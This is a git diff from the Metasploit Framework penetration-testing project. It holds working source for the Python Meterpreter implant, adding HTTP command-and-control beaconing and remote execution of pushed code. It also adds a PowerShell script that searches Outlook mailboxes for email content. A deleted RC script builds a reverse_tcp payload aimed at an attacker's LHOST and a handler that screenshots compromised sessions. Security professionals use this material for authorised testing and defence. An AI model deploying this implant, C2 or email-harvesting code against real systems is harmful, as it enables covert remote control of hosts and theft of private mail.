Merge branch 'master' into feature/MSP-11671/test-optimization
MSP-11671 Conflicts: .travis.ymlbug/bundler_fix
commit
8c0610cb7a
|
@ -83,3 +83,7 @@ data/meterpreter/screenshot.*.dll
|
|||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
|
|
|
@ -36,3 +36,9 @@ notifications:
|
|||
|
||||
git:
|
||||
depth: 5
|
||||
|
||||
# Blacklist certain branches from triggering travis builds
|
||||
branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
|
|
@ -112,7 +112,7 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.3)
|
||||
metasploit-credential (0.13.5)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit_data_models (~> 0.21.0)
|
||||
|
|
|
@ -60,9 +60,13 @@ if sys.version_info[0] < 3:
|
|||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
|
@ -501,6 +505,8 @@ IFLA_MTU = 4
|
|||
IFA_ADDRESS = 1
|
||||
IFA_LABEL = 3
|
||||
|
||||
meterpreter.register_extension('stdapi')
|
||||
|
||||
def calculate_32bit_netmask(bits):
|
||||
if bits == 32:
|
||||
return 0xffffffff
|
||||
|
@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getenv(request, response):
|
||||
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
||||
pgroup = ''
|
||||
env_var = env_var['value'].translate(None, '%$')
|
||||
pgroup = bytes()
|
||||
env_var = env_var['value']
|
||||
env_var = env_var.replace('%', '')
|
||||
env_var = env_var.replace('$', '')
|
||||
env_val = os.environ.get(env_var)
|
||||
if env_val:
|
||||
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
||||
|
@ -692,7 +700,9 @@ def stdapi_sys_config_getsid(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getuid(request, response):
|
||||
if has_windll:
|
||||
if has_pwd:
|
||||
username = pwd.getpwuid(os.getuid()).pw_name
|
||||
elif has_windll:
|
||||
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
||||
if not token:
|
||||
return ERROR_FAILURE, response
|
||||
|
|
|
@ -18,19 +18,50 @@ except ImportError:
|
|||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
# this MUST be imported for urllib to work on OSX
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
||||
try:
|
||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||
if sys.version_info[0] < 3:
|
||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||
else:
|
||||
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
||||
except ImportError:
|
||||
has_urllib = False
|
||||
else:
|
||||
has_urllib = True
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
|
||||
# these values may be patched, DO NOT CHANGE THEM
|
||||
DEBUGGING = False
|
||||
HTTP_COMMUNICATION_TIMEOUT = 300
|
||||
HTTP_CONNECTION_URL = None
|
||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||
HTTP_PROXY = None
|
||||
HTTP_USER_AGENT = None
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
|
@ -284,16 +315,44 @@ class STDProcess(subprocess.Popen):
|
|||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
def __init__(self, socket=None):
|
||||
self.socket = socket
|
||||
self.driver = None
|
||||
self.running = False
|
||||
self.communications_active = True
|
||||
self.communications_last = 0
|
||||
if self.socket:
|
||||
self.driver = 'tcp'
|
||||
elif HTTP_CONNECTION_URL:
|
||||
self.driver = 'http'
|
||||
self.last_registered_extension = None
|
||||
self.extension_functions = {}
|
||||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
if self.driver:
|
||||
if hasattr(self, 'driver_init_' + self.driver):
|
||||
getattr(self, 'driver_init_' + self.driver)()
|
||||
self.running = True
|
||||
|
||||
def driver_init_http(self):
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
self._http_last_seen = time.time()
|
||||
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
||||
|
||||
def register_extension(self, extension_name):
|
||||
self.last_registered_extension = extension_name
|
||||
return self.last_registered_extension
|
||||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
return func
|
||||
|
@ -318,19 +377,73 @@ class PythonMeterpreter(object):
|
|||
self.processes[idx] = process
|
||||
return idx
|
||||
|
||||
def get_packet(self):
|
||||
packet = getattr(self, 'get_packet_' + self.driver)()
|
||||
self.communications_last = time.time()
|
||||
if packet:
|
||||
self.communications_active = True
|
||||
return packet
|
||||
|
||||
def send_packet(self, packet):
|
||||
getattr(self, 'send_packet_' + self.driver)(packet)
|
||||
self.communications_last = time.time()
|
||||
self.communications_active = True
|
||||
|
||||
def get_packet_http(self):
|
||||
packet = None
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
packet = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
if packet:
|
||||
packet = packet[8:]
|
||||
else:
|
||||
packet = None
|
||||
return packet
|
||||
|
||||
def send_packet_http(self, packet):
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
response = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
|
||||
def get_packet_tcp(self):
|
||||
packet = None
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
packet = self.socket.recv(8)
|
||||
if len(packet) != 8:
|
||||
self.running = False
|
||||
return None
|
||||
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||
pkt_length -= 8
|
||||
packet = bytes()
|
||||
while len(packet) < pkt_length:
|
||||
packet += self.socket.recv(4096)
|
||||
return packet
|
||||
|
||||
def send_packet_tcp(self, packet):
|
||||
self.socket.send(packet)
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
request = None
|
||||
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
||||
self.communications_active = False
|
||||
if should_get_packet:
|
||||
request = self.get_packet()
|
||||
if request:
|
||||
response = self.create_response(request)
|
||||
self.socket.send(response)
|
||||
self.send_packet(response)
|
||||
else:
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
|
@ -370,7 +483,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
|
@ -379,7 +492,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
|
@ -390,20 +503,24 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = list(self.extension_functions.keys())
|
||||
|
||||
self.last_registered_extension = None
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = list(self.extension_functions.keys())
|
||||
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
||||
for method in new_methods:
|
||||
extension_name = self.last_registered_extension
|
||||
|
||||
if extension_name:
|
||||
check_extension = lambda x: x.startswith(extension_name)
|
||||
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
||||
for method in lib_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -546,5 +663,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
|||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
if HTTP_CONNECTION_URL and has_urllib:
|
||||
met = PythonMeterpreter()
|
||||
else:
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
|
@ -0,0 +1,47 @@
|
|||
function GetSubfolders($root) {
|
||||
$folders = @()
|
||||
$folders += $root
|
||||
foreach ($folder in $root.Folders) {
|
||||
$folders += GetSubfolders($folder)
|
||||
}
|
||||
return $folders
|
||||
}
|
||||
|
||||
function List-Folder {
|
||||
Clear-host
|
||||
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
|
||||
$Outlook = New-Object -ComObject Outlook.Application
|
||||
$Namespace = $Outlook.GetNameSpace("MAPI")
|
||||
$account = $NameSpace.Folders
|
||||
$folders = @()
|
||||
foreach ($acc in $account) {
|
||||
foreach ($folder in $acc.Folders) {
|
||||
$folders += GetSubfolders($folder)
|
||||
}
|
||||
}
|
||||
$folders | FT FolderPath
|
||||
}
|
||||
|
||||
function Get-Emails {
|
||||
param ([String]$searchTerm,[String]$Folder)
|
||||
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
|
||||
$Outlook = New-Object -ComObject Outlook.Application
|
||||
$Namespace = $Outlook.GetNameSpace("MAPI")
|
||||
$account = $NameSpace.Folders
|
||||
$found = $false
|
||||
foreach ($acc in $account) {
|
||||
try {
|
||||
$Email = $acc.Folders.Item($Folder).Items
|
||||
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
|
||||
if($result) {
|
||||
$found = $true
|
||||
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
|
||||
}
|
||||
} catch {
|
||||
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
|
||||
}
|
||||
}
|
||||
if(-Not $found) {
|
||||
Write-Host "Searchterm" $searchTerm "not found"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
# Metasploit Developer Documentation
|
||||
|
||||
*(last updated December 1, 2014)
|
||||
|
||||
Metasploit is actively supported by a community of hundreds of
|
||||
contributors and thousands of users world-wide. As a result, the
|
||||
accompanying documentation moves quite quickly.
|
||||
|
||||
The best source of documentation on Metasploit development is
|
||||
https://github.com/rapid7/metasploit-framework/wiki. There are many
|
||||
treasures there, such as:
|
||||
|
||||
* [Evading Antivirus](https://github.com/rapid7/metasploit-framework/wiki/Evading-Anti-Virus)
|
||||
* [How Payloads Work](https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work)
|
||||
* [How to use Datastore Options](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options)
|
||||
* [How to write browser exploits with BES](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)
|
||||
* [How to write a bruteforcer](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Msf%3A%3AAuxiliary%3A%3AAuthBrute-to-write-a-bruteforcer)
|
||||
|
||||
...and many, many more.
|
||||
|
||||
## API Documentation
|
||||
|
||||
If you are looking for API documentation, you may run `rake yard` to
|
||||
generate a navigatable view of the comment documentation used throughout
|
||||
Metasploit, or visit https://rapid7.github.io/metasploit-framework/api
|
||||
for a recently generated online version.
|
||||
|
||||
## Contributing
|
||||
|
||||
If you would like to contribute to the documentation effort, please see
|
||||
http://yardoc.org/ for details on how to write YARD-compatible comments,
|
||||
and send us a [Pull Request](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
with your contribution.
|
||||
|
|
@ -1 +0,0 @@
|
|||
rake yard
|
|
@ -1,5 +0,0 @@
|
|||
This directory contains 2.7 -> 3.0 compatibility information.
|
||||
|
||||
|
||||
Exploit Modules: exploits.txt
|
||||
Payload Modules: payloads.txt
|
|
@ -1,161 +0,0 @@
|
|||
Unfinished modules
|
||||
==================
|
||||
|
||||
arkeia_agent_access
|
||||
gnu_mailutils_imap4d
|
||||
hpux_ftpd_preauth_list
|
||||
iis_source_dumper
|
||||
phpnuke_search_module
|
||||
realvnc_41_bypass
|
||||
solaris_snmpxdmid
|
||||
sygate_policy_manager
|
||||
uow_imap4_copy
|
||||
uow_imap4_lsub - partially (linux/imap/imap_uw_lsub.rb)
|
||||
wzdftpd_sitem
|
||||
|
||||
|
||||
Completed modules
|
||||
=================
|
||||
|
||||
afp_loginext exploit/osx/afp/loginext
|
||||
aim_goaway exploit/windows/browser/aim_goaway
|
||||
altn_webadmin exploit/windows/http/altn_webadmin
|
||||
apache_chunked_win32 exploit/windows/http/apache_chunked
|
||||
arkeia_type77_macos exploit/osx/arkeia/type77
|
||||
arkeia_type77_win32 exploit/windows/arkeia/type77
|
||||
awstats_configdir_exec exploit/unix/webapp/awstats_configdir_exec
|
||||
barracuda_img_exec exploit/unix/webapp/barracuda_img_exec
|
||||
backupexec_agent exploit/windows/backupexec/remote_agent
|
||||
backupexec_dump auxiliary/admin/backupexec/dump
|
||||
backupexec_ns exploit/windows/backupexec/name_service
|
||||
backupexec_registry auxiliary/admin/backupexec/registry
|
||||
badblue_ext_overflow exploit/windows/http/badblue_ext_overflow
|
||||
bakbone_netvault_heap exploit/windows/misc/bakbone_netvault_heap
|
||||
blackice_pam_icq exploit/windows/firewall/blackice_pam_icq
|
||||
bluecoat_winproxy exploit/windows/proxy/bluecoat_winproxy_host
|
||||
bomberclone_overflow_win32 exploit/windows/misc/bomberclone_overflow
|
||||
cabrightstor_disco exploit/windows/brightstor/discovery_udp
|
||||
cabrightstor_disco_servicepc exploit/windows/brightstor/discovery_tcp
|
||||
cabrightstor_sqlagent exploit/windows/brightstor/sql_agent
|
||||
cabrightstor_uniagent exploit/windows/brightstor/universal_agent
|
||||
cacam_logsecurity_win32 exploit/windows/unicenter/cam_log_security
|
||||
cacti_graphimage_exec exploit/unix/webapp/cacti_graphimage_exec
|
||||
calicclnt_getconfig exploit/windows/license/calicclnt_getconfig
|
||||
calicserv_getconfig exploit/windows/license/calicserv_getconfig
|
||||
cesarftp_mkd exploit/windows/ftp/cesarftp_mkd
|
||||
distcc_exec exploit/unix/misc/distcc_exec
|
||||
edirectory_imonitor exploit/windows/http/edirectory_imonitor
|
||||
edirectory_imonitor2 exploit/windows/http/edirectory_host
|
||||
eiq_license exploit/windows/misc/eiqnetworks_esa
|
||||
eudora_imap exploit/windows/imap/eudora_list
|
||||
exchange2000_xexch50 exploit/windows/smtp/ms03_046_exchange2000_xexch50
|
||||
firefox_queryinterface_linux exploit/multi/browser/firefox_queryinterface
|
||||
firefox_queryinterface_osx exploit/multi/browser/firefox_queryinterface
|
||||
freeftpd_user exploit/windows/ftp/freeftpd_user
|
||||
freesshd_key_exchange exploit/windows/ssh/freesshd_key_exchange
|
||||
freeftpd_key_exchange exploit/windows/ftp/freeftpd_key_exchange
|
||||
futuresoft_tftpd exploit/windows/tftp/futuresoft_transfermode
|
||||
globalscapeftp_user_input exploit/windows/ftp/globalscapeftp_input
|
||||
google_proxystylesheet_exec exploit/unix/webapp/google_proxystylesheet_exec
|
||||
hpux_lpd_exec exploit/hpux/lpd/cleanup_exec
|
||||
ia_webmail exploit/windows/http/ia_webmail
|
||||
icecast_header exploit/windows/http/icecast_header
|
||||
ie_objecttype exploit/windows/browser/ms03_020_ie_objecttype
|
||||
ie_vml_rectfill exploit/windows/browser/ms06_055_vml_method
|
||||
ie_webview_setslice exploit/windows/browser/ms06_057_webview_setslice
|
||||
ie_xp_pfv_metafile exploit/windows/browser/ms06_001_wmf_setabortproc
|
||||
ie_createtextrange exploit/windows/browser/ms06_013_createtextrange
|
||||
ie_iscomponentinstalled exploit/windows/browser/ie_iscomponentinstalled
|
||||
ie_createobject exploit/windows/browser/ie_createobject
|
||||
iis40_htr exploit/windows/iis/ms02_018_htr
|
||||
iis50_printer_overflow exploit/windows/iis/ms01_023_printer
|
||||
iis50_webdav_ntdll exploit/windows/iis/ms03_007_ntdll_webdav
|
||||
iis_fp30reg_chunked exploit/windows/isapi/fp30reg_chunked
|
||||
iis_nsiislog_post exploit/windows/isapi/nsiislog_post
|
||||
iis_w3who_overflow exploit/windows/isapi/w3who_query
|
||||
imail_imap_delete exploit/windows/imap/imail_delete
|
||||
imail_ldap exploit/windows/ldap/imail_thc
|
||||
irix_lpsched_exec exploit/irix/lpd/tagprinter_exec
|
||||
kerio_auth exploit/windows/firewall/kerio_auth
|
||||
lsass_ms04_011 exploit/windows/smb/ms04_011_lsass
|
||||
mailenable_auth_header exploit/windows/http/mailenable_auth_header
|
||||
mailenable_imap exploit/windows/imap/mailenable_status
|
||||
mailenable_imap_w3c exploit/windows/imap/mailenable_w3c_select
|
||||
maxdb_webdbm_get_overflow exploit/windows/http/maxdb_webdbm_get_overflow
|
||||
mcafee_epolicy_source exploit/windows/http/mcafee_epolicy_source
|
||||
mdaemon_imap_cram_md5 exploit/windows/imap/mdaemon_cram_md5
|
||||
mercantec_softcart exploit/bsdi/softcart/mercantec_softcart
|
||||
mercur_imap_select_overflow exploit/windows/imap/mercur_imap_select_overflow
|
||||
mercury_imap exploit/windows/imap/mercury_rename
|
||||
minishare_get_overflow exploit/windows/http/minishare_get_overflow
|
||||
mozilla_compareto exploit/multi/browser/mozilla_compareto
|
||||
ms05_030_nntp exploit/windows/nntp/ms05_030_nntp
|
||||
ms05_039_pnp exploit/windows/smb/ms05_039_pnp
|
||||
msasn1_ms04_007_killbill exploit/windows/smb/ms04_007_killbill
|
||||
msmq_deleteobject_ms05_017 exploit/windows/dcerpc/ms05_017_msmq
|
||||
msrpc_dcom_ms03_026 exploit/windows/dcerpc/ms03_026_dcom
|
||||
mssql2000_preauthentication exploit/windows/mssql/ms02_056_hello
|
||||
mssql2000_resolution exploit/windows/mssql/ms02_039_slammer
|
||||
netapi_ms06_040 exploit/windows/smb/ms06_040_netapi
|
||||
netterm_netftpd_user_overflow exploit/windows/ftp/netterm_netftpd_user
|
||||
niprint_lpd exploit/windows/lpd/niprint
|
||||
novell_messenger_acceptlang exploit/windows/http/novell_messenger_acceptlang
|
||||
openview_connectednodes_exec exploit/unix/webapp/openview_connectednodes_exec
|
||||
openview_omniback_exec exploit/unix/misc/openview_omniback_exec
|
||||
oracle9i_xdb_ftp exploit/windows/ftp/oracle9i_xdb_ftp_unlock
|
||||
oracle9i_xdb_ftp_pass exploit/windows/ftp/oracle9i_xdb_ftp_pass
|
||||
oracle9i_xdb_http exploit/windows/http/oracle9i_xdb_pass
|
||||
pajax_remote_exec exploit/unix/webapp/pajax_remote_exec
|
||||
payload_handler exploit/multi/handler
|
||||
peercast_url_linux exploit/linux/http/peercast_url
|
||||
peercast_url_win32 exploit/windows/http/peercast_url
|
||||
php_wordpress_lastpost exploit/unix/webapp/php_wordpress_lastpost
|
||||
php_vbulletin_template exploit/unix/webapp/php_vbulletin_template
|
||||
php_xmlrpc_eval exploit/unix/webapp/php_xmlrpc_eval
|
||||
phpbb_highlight exploit/unix/webapp/phpbb_highlight
|
||||
poptop_negative_read exploit/linux/pptp/poptop_negative_read
|
||||
privatewire_gateway_win32 exploit/windows/http/privatewire_gateway
|
||||
putty_ssh exploit/windows/ssh/putty_msg_debug
|
||||
realserver_describe_linux exploit/multi/realserver/describe
|
||||
realvnc_client exploit/windows/vnc/realvnc_client
|
||||
rras_ms06_025 exploit/windows/smb/ms06_025_rras
|
||||
rras_ms06_025_rasman exploit/windows/smb/ms06_025_rasmans_reg
|
||||
rsa_iiswebagent_redirect exploit/windows/isapi/rsa_webagent_redirect
|
||||
safari_safefiles_exec exploit/osx/browser/safari_metadata_archive
|
||||
samba_nttrans exploit/multi/samba/nttrans
|
||||
samba_trans2open_osx exploit/osx/samba/trans2open
|
||||
samba_trans2open_solsparc exploit/solaris/samba/trans2open
|
||||
sambar6_search_results exploit/windows/http/sambar6_search_results
|
||||
smb_sniffer auxiliary/server/capture/smb
|
||||
seattlelab_mail_55 exploit/windows/pop3/seattelab_pass
|
||||
securecrt_ssh1 exploit/windows/ssh/securecrt_ssh1
|
||||
sentinel_lm7_overflow exploit/windows/license/sentinel_lm7_udp
|
||||
servu_mdtm_overflow exploit/windows/ftp/servu_mdtm
|
||||
shixxnote_font exploit/windows/misc/shixxnote_font
|
||||
shoutcast_format_win32 exploit/windows/http/shoutcast_format
|
||||
slimftpd_list_concat exploit/windows/ftp/slimftpd_list_concat
|
||||
solaris_dtspcd_noir exploit/solaris/dtspcd/heap_noir
|
||||
solaris_lpd_exec exploit/solaris/lpd/sendmail_exec
|
||||
solaris_lpd_unlink auxiliary/dos/solaris/lpd/cascade_delete
|
||||
solaris_sadmind_exec exploit/solaris/sunrpc/solaris_sadmind_exec
|
||||
solaris_ttyprompt exploit/solaris/telnet/ttyprompt
|
||||
sphpblog_file_upload exploit/unix/webapp/sphpblog_file_upload
|
||||
squid_ntlm_authenticate exploit/linux/proxy/squid_ntlm_authenticate
|
||||
svnserve_date exploit/multi/svn/svnserve_date
|
||||
sybase_easerver exploit/windows/http/sybase_easerver
|
||||
tftpd32_long_filename exploit/windows/tftp/tftpd32_long_filename
|
||||
trackercam_phparg_overflow exploit/windows/http/trackercam_phparg_overflow
|
||||
ultravnc_client exploit/windows/vnc/ultravnc_client
|
||||
ut2004_secure_linux exploit/linux/games/ut2004_secure
|
||||
ut2004_secure_win32 exploit/windows/games/ut2004_secure
|
||||
warftpd_165_user exploit/windows/ftp/warftpd_165_user
|
||||
warftpd_165_pass exploit/windows/ftp/warftpd_165_pass
|
||||
webstar_ftp_user exploit/osx/ftp/webstar_ftp_user
|
||||
winamp_playlist_unc exploit/windows/browser/winamp_playlist_unc
|
||||
windows_ssl_pct exploit/windows/ssl/ms04_011_pct
|
||||
wins_ms04_045 exploit/windows/wins/ms04_045_wins
|
||||
wmailserver_smtp exploit/windows/smtp/wmailserver
|
||||
wsftp_server_503_mkd exploit/windows/ftp/wsftp_server_503_mkd
|
||||
ypops_smtp exploit/windows/smtp/ypops_overflow1
|
||||
zenworks_desktop_agent exploit/windows/novell/zenworks_desktop_agent
|
||||
|
|
@ -1,49 +0,0 @@
|
|||
#
|
||||
# Quick RC script to demonstrate the Ruby blocks in RC files
|
||||
#
|
||||
|
||||
#
|
||||
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
|
||||
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
|
||||
#
|
||||
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
set LPORT 4444
|
||||
set LHOST 192.168.0.228
|
||||
set ExitOnSession false
|
||||
|
||||
exploit -j
|
||||
|
||||
# The first sleep below is not necessary, but makes the output cleaner
|
||||
<ruby>
|
||||
sleep(1)
|
||||
|
||||
print_status("Waiting on an incoming sessions...")
|
||||
while (true)
|
||||
framework.sessions.each_pair do |sid,s|
|
||||
thost = s.session_host
|
||||
|
||||
# Ensure that stdapi has been loaded before running
|
||||
if s.ext.aliases['stdapi']
|
||||
print_status("Screenshotting session #{sid} #{thost}...")
|
||||
s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
|
||||
print_status("Closing session #{sid} #{thost}...")
|
||||
s.kill
|
||||
else
|
||||
print_status("Session #{sid} #{thost} active, but not yet configured")
|
||||
end
|
||||
|
||||
end
|
||||
sleep(1)
|
||||
end
|
||||
|
||||
print_status("All done")
|
||||
</ruby>
|
||||
|
||||
# Kill all open sessions
|
||||
sessions -K
|
||||
|
||||
# Exit the console (optional)
|
||||
exit
|
||||
|
|
@ -1,338 +0,0 @@
|
|||
Using the Opcode Database CLI (msfopcode)
|
||||
|
||||
The 3.0 version of the Metasploit Framework comes with a command line
|
||||
interface to the Metasploit Opcode Database. This can be used instead
|
||||
of the web-based wizard to easily search for portable opcode
|
||||
addresses. The interface is provided through the msfopcode command
|
||||
which is found in the root directory of the installation. This
|
||||
interface is merely a front-end to a the
|
||||
Rex::Exploitation::OpcodeDb::Client class interface that interfaces
|
||||
with a HTTP-based XML protocol running on the Metasploit.com
|
||||
web-server.
|
||||
|
||||
The interface itself provides a simplified interface to some of the
|
||||
different aspects of the opcode database. When running the command
|
||||
with no arguments, the following output is shown:
|
||||
|
||||
$ ./msfopcode
|
||||
|
||||
Usage: msfopcode command
|
||||
|
||||
SUPPORTED COMMANDS
|
||||
|
||||
stats Display database statistics
|
||||
locales Display supported locales
|
||||
metatypes Display supported opcode meta types (Ex: jmp reg)
|
||||
groups Display supported opcode groups (Ex: esp => eip)
|
||||
types Display supported opcode types (Ex: jmp esp)
|
||||
platforms Display supported platforms
|
||||
modules Display information about specific modules
|
||||
search Search for opcodes given a set of criteria
|
||||
|
||||
The purpose of the stats command is to show the current database
|
||||
statistics, such as the number of opcodes and modules currently
|
||||
indexed by the database and the last time the database was updated.
|
||||
The output to this command looks something like this:
|
||||
|
||||
$ ./msfopcode stats
|
||||
|
||||
Last Updated : Sat Sep 03 01:32:00 CDT 2005
|
||||
Number of Opcodes : 12177419
|
||||
Number of Opcode Types : 320
|
||||
Number of Platforms : 14
|
||||
Number of Architectures : 1
|
||||
Number of Modules : 17683
|
||||
Number of Module Segments: 71457
|
||||
Number of Module Imports : 2065492
|
||||
Number of Module Exports : 927637
|
||||
|
||||
The locales command lists the locales that are currently supported by
|
||||
the database. In the future, more locales will be indexed to provided
|
||||
a more complete view of opcode portability.
|
||||
|
||||
$ ./msfopcode locales
|
||||
English
|
||||
French
|
||||
|
||||
The metatypes command lists the opcode meta types currently supported
|
||||
by the database. An opcode meta type is defined as a general
|
||||
